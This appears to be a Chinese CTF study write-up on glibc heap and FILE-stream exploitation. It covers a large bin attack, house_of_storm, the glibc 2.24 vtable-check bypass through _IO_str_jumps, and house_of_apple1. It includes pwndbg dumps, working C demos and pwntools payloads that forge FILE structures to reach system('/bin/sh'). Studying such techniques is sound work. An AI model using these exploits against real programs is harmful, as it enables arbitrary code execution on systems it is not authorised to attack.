all: 0x4052f0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x4052f0
smallbins
empty
largebins
0x500: 0x4056b0 —▸ 0x7ffff7dd00d0 (main_arena+1168) ◂— 0x4056b0

释放第三个堆进入unsorted bin,改第二个堆大小小于第三个堆并改bkbk_nextsizestack_var1 - 0x10stack_var2 - 0x20,此时``P2 -> bk -> fd = stack_var1_addr P2 -> bk_nextsize -> fd_nextsize = stack_var2_addr`

pwndbg> bin
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x405bf0 —▸ 0x4052f0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x405bf0
smallbins
empty
largebins
0x500 [corrupted]
FD: 0x4056b0 ◂— 0x0
BK: 0x4056b0 —▸ 0x7fffffffdd60 —▸ 0x405c00 ◂— 0x0
pwndbg> x/20gx 0x4056b0
0x4056b0:	0x0000000000000000	0x00000000000003f1
0x4056c0:	0x0000000000000000	0x00007fffffffdd60
0x4056d0:	0x0000000000000000	0x00007fffffffdd48

再次创建一个小的堆时第三个堆会进入large bin,此时会进行上面分析的操作使得第二个堆的bkbk_nextsize中的栈地址的内容变成第三个堆地址

house_of_storm(largebin + unsortedbin)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char filler[0x60];
char target[0x60]; 

void init(){
        setvbuf(stdout, NULL, _IONBF, 0);
        setvbuf(stdin, NULL, _IONBF, 0);
}

int get_shift_amount(char* pointer){
	
	int shift_amount = 0;
	long long ptr = (long long)pointer;	
	
	while(ptr > 0x20){
		ptr = ptr >> 8; 
		shift_amount += 1; 
	}	

	return shift_amount - 1; 
}

int main(){

	init();

    char *unsorted_bin, *large_bin, *fake_chunk, *ptr;
	int* tcaches[7];

	unsorted_bin = malloc ( 0x4e8 );  
    
	malloc ( 0x18 ); 

	int shift_amount = get_shift_amount(unsorted_bin);	
    
	size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);
	if(alloc_size < 0x10){
		printf("Chunk Size: 0x%lx\n", alloc_size);
		puts("Chunk size is too small");
		exit(1);
	}
	alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; 
    if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
    	return 1;
    }

	if(alloc_size < 0x410){
		for(int i = 0; i < 7; i++){
			tcaches[i] = malloc(alloc_size);
		}
		for(int i = 0; i < 7; i++){
			free(tcaches[i]);
		}
	}
	else{
		puts("Not filling up the TCache");
	}

	large_bin  =  malloc ( 0x4d8 ); 
	malloc ( 0x18 );

	free ( large_bin ); 
	free ( unsorted_bin );

	unsorted_bin = malloc(0x4e8);
	free(unsorted_bin);

	fake_chunk = target - 0x10;

	((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; 
	(( size_t *) large_bin )[1]  =  (size_t)fake_chunk  +  8 ; 
	(( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; 

	
	ptr = calloc(alloc_size, 1);
	strncpy(ptr, "\x41\x42\x43\x44\x45\x46\x47", 0x58 - 1);
	
	printf("String after %s\n", target);
	printf("Fake chunk ptr: %p\n", ptr);

	return 0;
}

原理同2.23large bin的应用同2.27 large bin attack,在large bin attack基础上利用unsorted bin实现任意地址分配

glibc_2.24

2.24-2.28最主要的区别就是加了vtable的检测,所以不能改vtable为堆地址

house_of_orange-检测机制与绕过

void _IO_vtable_check (void) attribute_hidden;

/* Perform vtable pointer validation.  If validation fails, terminate
   the process.  */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

vtable - start_libc_IO_vtables >= stop_libc_IO_vtables - start_libc_IO_vtables时调用_IO_vtable_check

pwndbg> p __stop___libc_IO_vtables - 1
$7 = 0x7ffff7dcf627 <_IO_str_chk_jumps+167> ""
pwndbg> p __start___libc_IO_vtables
$8 = 0x7ffff7dce8c0 <_IO_helper_jumps> ""

_IO_vtable_check函数具体内容如下

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;

  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }

#else /* !SHARED */
  /* We cannot perform vtable validation in the static dlopen case
     because FILE * handles might be passed back and forth across the
     boundary.  Therefore, we disable checking in this case.  */
  if (__dlopen != NULL)
    return;
#endif

  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

基本没有什么可利用的点,由此可见只有将伪造的vtable地址放在_IO_helper_jumps-_IO_str_chk_jumps+167之间才能利用成功,这种情况下如果能将vtable设置成_IO_str_jumps或者_IO_wstr_jumps也可以调用文件操作函数来绕过vtable的检查并且不需要堆地址,一般常用的是_IO_str_jumps

_IO_str_jumps是一个结构体,它定义了一系列函数指针,这些函数用于处理标准流(stdinstdoutstderr)的输入输出操作。在C语言中,这些函数实现了不同的流操作,包括读取字符、写入字符、移动文件指针等。 _IO_str_jumps结构体通常用于实现C标准库中的标准流对象,例如FILE结构体(通过FILE*_p字段指向_IO_str_jumps),它提供了一些常用的操作函数,如fgetcfputc等。

pwndbg> p _IO_str_jumps
$2 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x7ffff7a89fb0 <_IO_str_finish>,
  __overflow = 0x7ffff7a89c90 <__GI__IO_str_overflow>,
  __underflow = 0x7ffff7a89c30 <__GI__IO_str_underflow>,
  __uflow = 0x7ffff7a88610 <__GI__IO_default_uflow>,
  __pbackfail = 0x7ffff7a89f90 <__GI__IO_str_pbackfail>,
  __xsputn = 0x7ffff7a88640 <__GI__IO_default_xsputn>,
  __xsgetn = 0x7ffff7a88720 <__GI__IO_default_xsgetn>,
  __seekoff = 0x7ffff7a8a0e0 <__GI__IO_str_seekoff>,
  __seekpos = 0x7ffff7a88a10 <_IO_default_seekpos>,
  __setbuf = 0x7ffff7a88940 <_IO_default_setbuf>,
  __sync = 0x7ffff7a88c10 <_IO_default_sync>,
  __doallocate = 0x7ffff7a88a30 <__GI__IO_default_doallocate>,
  __read = 0x7ffff7a89ae0 <_IO_default_read>,
  __write = 0x7ffff7a89af0 <_IO_default_write>,
  __seek = 0x7ffff7a89ac0 <_IO_default_seek>,
  __close = 0x7ffff7a88c10 <_IO_default_sync>,
  __stat = 0x7ffff7a89ad0 <_IO_default_stat>,
  __showmanyc = 0x7ffff7a89b00 <_IO_default_showmanyc>,
  __imbue = 0x7ffff7a89b10 <_IO_default_imbue>
}

其中,_IO_str_finish的函数源码如下

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

根据源码可知,当fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)为真时,篡改((_IO_strfile *) fp)->_s._free_buffersystemfp->_IO_buf_base/bin/sh即可getshell,同时还需要兼顾触发_IO_flush_all_lockp的条件

因此,一种伪造的条件如下

fp->_mode <= 0

fp->_IO_write_ptr > fp->_IO_write_base

fp->_flags = 0

fp->_IO_buf_base = bin_sh

fp + 0xe8 = system_addr

vtable = _IO_str_jumps - 8

其中vtable的设置是因为这样在调用_IO_overflow时会调用_IO_str_finishfp->_flags = 0是因为_IO_USER_BUF1,而_s._free_buffer的偏移就是0xe8,通过_IO_str_finish可以实现一个交互式的shell

_IO_str_overflow源码如下

int
_IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
	return EOF;
      else
	{
	  char *new_buf;
	  char *old_buf = fp->_IO_buf_base;
	  size_t old_blen = _IO_blen (fp);
	  _IO_size_t new_size = 2 * old_blen + 100;
	  if (new_size < old_blen)
	    return EOF;
	  new_buf
	    = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
	  ...
}
libc_hidden_def (_IO_str_overflow)

其中,可以覆盖*((_IO_strfile *) fp)->_s._allocate_buffersystemnew_size/bin/shgetshell

new_buf
	    = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

因此,第二种伪造的条件如下:

_flags=0

_IO_write_base = 0

_IO_write_ptr = (bin_sh -100) / 2 +1

_IO_buf_end = (bin_sh -100) / 2

_IO_buf_base = 0

fp + 0xe0 = system_addr

总结:2.24中会检测vtable地址,因此只能利用原有的跳表,最常用的是_IO_str_jumps ,而利用方法有两种:

第一种:利用IO_str_overflow 函数会调用 FILE+0xe0处的地址,直接改为ogg或调用system("/bin/sh"),但这种利用可能会出问题

第二种:利用_IO_str_finish会以 IO_buf_base处的值为参数跳转至 FILE+0xe8处的地址,设置vtableIO_str_jumps-0x8,发生异常时调用IO_str_overflow根据地址加偏移实际调用的是_IO_str_finish,伪造内容实现调用system("/bin/sh")

示例:

#改_IO_str_finish
p1 = b'\x00' * 0x200
p2 = p64(0) + p64(0x61) + p64(0) + p64(io_list_all - 0x10)
p2 += p64(0) + p64(1) + p64(0)
p2 += p64(bin_sh)
p2 = p2.ljust(0xc0, b'\x00')
p2 += p64(0)
p2 += p64(0) *2
p2 += p64(io_str_jumps - 8)
p2 = p2.ljust(0xe8, b'\x00')
p2 += p64(system_addr)
p3 = p1 + p2
#改_IO_str_overflow
p1 = b'\x00' * 0x200
p2 = p64(0) + p64(0x61) + p64(0) + p64(io_list_all - 0x10)
p2 += p64(0) + p64(bin_sh)
p2 += p64(0) + p64(0)
p2 += p64(int((bin_sh - 100) / 2))
p2 = p2.ljust(0xd8, b'\x00')
p2 += p64(io_str_jumps)
p2 = p2.ljust(0xe0, b'\x00')
p2 += p64(system_addr)

glibc_2.31

高阶的IO利用,高版本中__free_hook__malloc_hook__calloc_hook都已经被取消,此时只能利用IO

house_of_apple 1(large bin attack + fsop)

条件:能够泄露libcheap地址且程序从mainexit函数结束

过程:通过一次large bin attack劫持_IO_list_all替换为伪造的IO_FILE结构体,在程序结束的时候会遍历_IO_list_all中的结构体,执行结构体中的vtable->overflow指向的函数。其次可以利用_wide_data继续修改其他地方的值,在_IO_FILE_wide_data的偏移是0xa0

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;	//***
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

伪造_wide_data中的值之后可以通过_IO_wstrn_overflow来将overflow_buf的值赋给fp->_wide_data,漏洞在于没有检查fp->_wide_data的合法性,而这两个都是可控的(通常伪造的_IO_FILE在堆上),所以能够实现任意地址写

static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
  /* When we come to here this means the user supplied buffer is
     filled.  But since we must return the number of characters which
     would have been written in total we must provide a buffer for
     further use.  We can do this by writing on and on in the overflow
     buffer in the _IO_wstrnfile structure.  */
  _IO_wstrnfile *snf = (_IO_wstrnfile *) fp;//强转fp为_IO_wstrnfile类型
 
  if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
    {
      _IO_wsetb (fp, snf->overflow_buf,
         snf->overflow_buf + (sizeof (snf->overflow_buf)
                      / sizeof (wchar_t)), 0);//有时候需要绕过
 
      fp->_wide_data->_IO_write_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
      fp->_wide_data->_IO_read_end = (snf->overflow_buf
                      + (sizeof (snf->overflow_buf)
                     / sizeof (wchar_t)));
    }
 
  fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
  fp->_wide_data->_IO_write_end = snf->overflow_buf;
  //将_IO_write_base、_IO_read_base、_IO_read_ptr、_IO_read_end、_IO_write_ptr、_IO_write_end都赋为overflow_buf
    
  return c;
}

其中,overflow_buf的偏移是0xf0vtable后面,_IO_wsetb有时需要绕过free

void
_IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a)
{
  if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
    free (f->_wide_data->_IO_buf_base); // ***
  f->_wide_data->_IO_buf_base = b;
  f->_wide_data->_IO_buf_end = eb;
  if (a)
    f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
  else
    f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}

demo

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
 
void backdoor()
{
    printf("\033[31m[!] Backdoor is called!\n");
    system("/bin/sh\x00");
    _exit(0);
}
 
void main()
{
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setbuf(stderr, 0);
 
    char *p1 = calloc(0x200, 1);
    char *p2 = calloc(0x200, 1);
    puts("[*] allocate two 0x200 chunks");
 
    size_t puts_addr = (size_t)&puts;
    printf("[*] puts address: %p\n", (void *)puts_addr);
    size_t libc_base_addr = puts_addr - 0x84420;
    printf("[*] libc base address: %p\n", (void *)libc_base_addr);
 
    size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
    printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
 
    size_t _IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60;
    printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
 
    char *stderr2 = (char *)_IO_2_1_stderr_addr;
    puts("[+] step 1: change stderr->_flags to 0x800");
    *(size_t *)stderr2 = 0x800;
 
    puts("[+] step 2: change stderr->_mode to 1");
    *(size_t *)(stderr2 + 0xc0) = 1;
 
    puts("[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20");
    *(size_t *)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20;
 
    puts("[+] step 4: replace stderr->_wide_data with the allocated chunk p1");
    *(size_t *)(stderr2 + 0xa0) = (size_t)p1;
 
    puts("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2");
    *(size_t *)(p1 + 0xe0) = (size_t)p2;
 
    puts("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr >  stderr->_wide_data->_wide_vtable->_IO_write_base");
    *(size_t *)(p1 + 0x20) = (size_t)1;
 
    puts("[+] step 7: put backdoor at fake _wide_vtable->_overflow");
    *(size_t *)(p2 + 0x18) = (size_t)(&backdoor);
 
    puts("[+] step 8: call fflush(stderr) to trigger backdoor func");
    fflush(stderr);
 
}

说明_IO_list_all中第一项就是stderr,首先需要满足fsop的要求

_flags = 0x800

_mode = 1

接下来改stderrvtable_IO_wstrn_jumps-0x20使得_IO_wstrn_jumps恰好落在vtable->overflow函数被执行

接着为了使_wide_data_wide_vtable可控将它们改成两个堆的地址,并且在堆中伪造

stderr->_wide_data = p1

stderr->_wide_data->_wide_vtable = p2

stderr->_wide_data->_wide_vtable_IO_write_ptr > IO_write_base

_wide_vtable->_overflow = backdoor

最后刷新_IO_list_all就可以调用到_IO_wstrn_jumps中的overflow函数即backdoor


  目录